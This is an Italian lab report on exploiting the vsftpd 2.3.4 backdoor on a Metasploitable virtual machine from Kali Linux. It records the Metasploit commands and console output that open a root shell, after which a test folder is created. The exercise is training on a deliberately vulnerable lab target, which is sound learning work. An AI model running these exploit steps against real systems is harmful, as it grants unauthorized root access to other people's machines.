Titolo: Hacking del servizio vsftpd 2.3.4 con Metasploit

---

1. Descrizione dell'Esercizio

L'obiettivo dell'esercizio è sfruttare una vulnerabilità presente nel servizio vsftpd 2.3.4 sulla macchina virtuale Metasploitable, utilizzando Metasploit da una macchina Kali Linux. Dopo aver ottenuto l'accesso, è stato richiesto di creare una cartella chiamata `test_metasploit` nella directory root.

---

2. Configurazione dell'Ambiente

- Macchina Attaccante: Kali Linux
  IP: 192.168.1.150/24
- Macchina Target: Metasploitable
  IP: 192.168.1.149/24
- Rete: Rete Interna con Modalità Promiscua configurata su Permetti tutto.

---

3. Passi Seguiti

Passo 1: Verifica della Connettività

Verifica della connessione tra le macchine con un comando ping:

bash
Copia codice
```
ping 192.168.1.149
```

Risultato: Comunicazione riuscita.

Passo 2: Avvio di Metasploit e Ricerca del Modulo

Avvio della console Metasploit e ricerca dei moduli relativi a `vsftpd`:

bash
Copia codice
```
msfconsole search vsftpd
```

Risultato: È stato identificato il modulo exploit/unix/ftp/vsftpd_234_backdoor.

Passo 3: Configurazione e Esecuzione dell'Exploit

Configurazione dell'exploit con l'indirizzo IP target e la porta di default del servizio FTP (21):

bash
Copia codice

```
use exploit/unix/ftp/vsftpd_234_backdoor set RHOSTS 192.168.1.149 show options

exploit
```

Risultato:

- L'exploit ha avuto successo.
- È stata aperta una shell di root sulla macchina target.

Passo 4: Creazione della Cartella Richiesta

All'interno della shell ottenuta, sono stati eseguiti i seguenti comandi:

1. Navigazione nella directory root `/`.
2. Creazione della cartella test_metasploit con il comando `mkdir`.

Comandi:

bash
Copia codice

```
mkdir /test_metasploit ls /
```

Risultato: La cartella `test_metasploit` è stata creata correttamente.

---

4. Conclusioni

L'esercizio è stato completato con successo:

1. È stato sfruttato il modulo vsftpd_234_backdoor per ottenere accesso root.
2. È stata creata la cartella richiesta nella directory root.

```
┌──(kali㉿kali)-[~]
└─$ ping 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=2.10 ms
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=1.55 ms
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=1.02 ms
^C
── 192.168.1.149 ping statistics ──
3 packets transmitted, 3 received, 0% packet loss, time 2269ms
rtt min/avg/max/mdev = 1.021/1.556/2.102/0.441 ms

┌──(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: Use the edit command to open the currently active module
in your editor

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B    .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


       =[ metasploit v6.4.38-dev                          ]
+ -- --=[ 2467 exploits - 1270 auxiliary - 431 post       ]
+ -- --=[ 1478 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > nmap -sV 192.168.1.149
[*] exec: nmap -sV 192.168.1.149

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-16 16:41 CET
```

```
msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
```

```
msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS   192.168.1.149    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.150:41615 → 192.168.1.149:6200) at 2024-12-16 16:44:26 +0100
```

```
mkdir /test_metasploit
ls/
sh: line 8: ls/: No such file or directory

cd/
sh: line 10: cd/: No such file or directory
mkdir /test_metasploit
mkdir: cannot create directory `/test_metasploit': File exists
ls /
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz

exit
[*] 192.168.1.149 - Command shell session 1 closed.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```